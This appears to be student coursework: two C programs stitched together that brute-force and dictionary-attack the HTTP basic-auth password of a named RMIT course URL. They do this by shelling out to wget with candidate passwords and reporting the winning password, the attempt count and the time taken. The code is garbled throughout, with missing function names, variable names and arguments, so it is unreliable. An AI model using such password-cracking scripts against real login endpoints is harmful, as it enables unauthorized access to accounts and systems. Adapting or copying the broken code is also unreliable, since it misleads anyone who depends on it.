
#include "stdio.h"
#include "string.h"

#include "stdlib.h"


void passwordcheck(char pass[],int tt,int not);
()
{
int i,j,k,t,tt,not;
char cp[3];

char [4];

char a[]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};

tt=time(&(t));
not=0;
for (i=0;i<=51;i++)
{
	
	cp[0]=a[i];
	sprintf(,"%c",cp[0]);
	passwordcheck(,tt,not);
	for (j=0;j<=51;j++)
	{
		
		
		cp[0]=a[i];
		cp[1]=a[j];
		sprintf(,"%c%c",cp[0],cp[1]);
		passwordcheck(,tt,not);
		for(k=0;k<=51;k++)
		{
			
							
			cp[0]=a[i];
			cp[1]=a[j];
		
			cp[2]=a[k];
			
			sprintf(,"%c%c%c",cp[0],cp[1],cp[2]);
			
			passwordcheck(,tt,not);
			
					
		}
		
				
		
	}
}

}



void passwordcheck(char pass[],int tt,int not)
{
char url[400];
int num,ti,tti;

			
strcpy(url,"wget --http-user= --http-passwd=");
			strcat(url,pass);
			
			strcat(url," http://sec-crack.cs.rmit.edu./SEC/2/index.php"); 
			printf("The password combination is :%s",pass);
			fflush(stdout);	
			num=system(url);
			not++;
			if (num==0)
			{
				
				time(&(ti));
				tti=ti-tti;
				printf("The actual password is :%s\n",pass);
				printf("The number of attempts   crack the password is :%d",not);
				printf("The time_var taken  find the password by brute force attack is :%d\n seconds",tti);
				exit(1);
				
				
			}
						
			else
			{
			strcpy(pass,"");
			}
			


}
 



#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>

int ()
{
  int time1, time2, time_var;
  int timeinsec, nofattempts;
  char url[100], url1[80];
  strcpy(url, "wget --http-user= --http-passwd=");
  strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt");
  char word[15], *chk;
  chk = "word";
  FILE *fp;
  int syst = 1;
  fp = fopen("words", "r");
  time1 = time();
  while(chk != NULL)
  {
    chk = fgets(word, 15, fp);
    if (chk == NULL) exit(1);
    word [ strlen(word) - 1 ] = '\0';
    strcat(url, word);
    strcat(url, url1);
    if (strlen(word) == 3)
    {
      syst = system(url);
      nofattempts = nofattempts + 1;
      printf("\n %s %d\n",word,nofattempts);
    }
    if (syst == 0)
    {
       time2 = time();
       time_var = time2 - time1;
       timeinsec = time_var/1000000000;
       printf("\n The Password is: %s",word);
       printf("\n  of Attempts: %d\n",nofattempts);
       printf("\n Time Taken: %d seconds\n", timeinsec);
       exit(1);
    }
    strcpy(url, "");
    strcpy(url, "wget --http-user= --http-passwd=");
  }
}
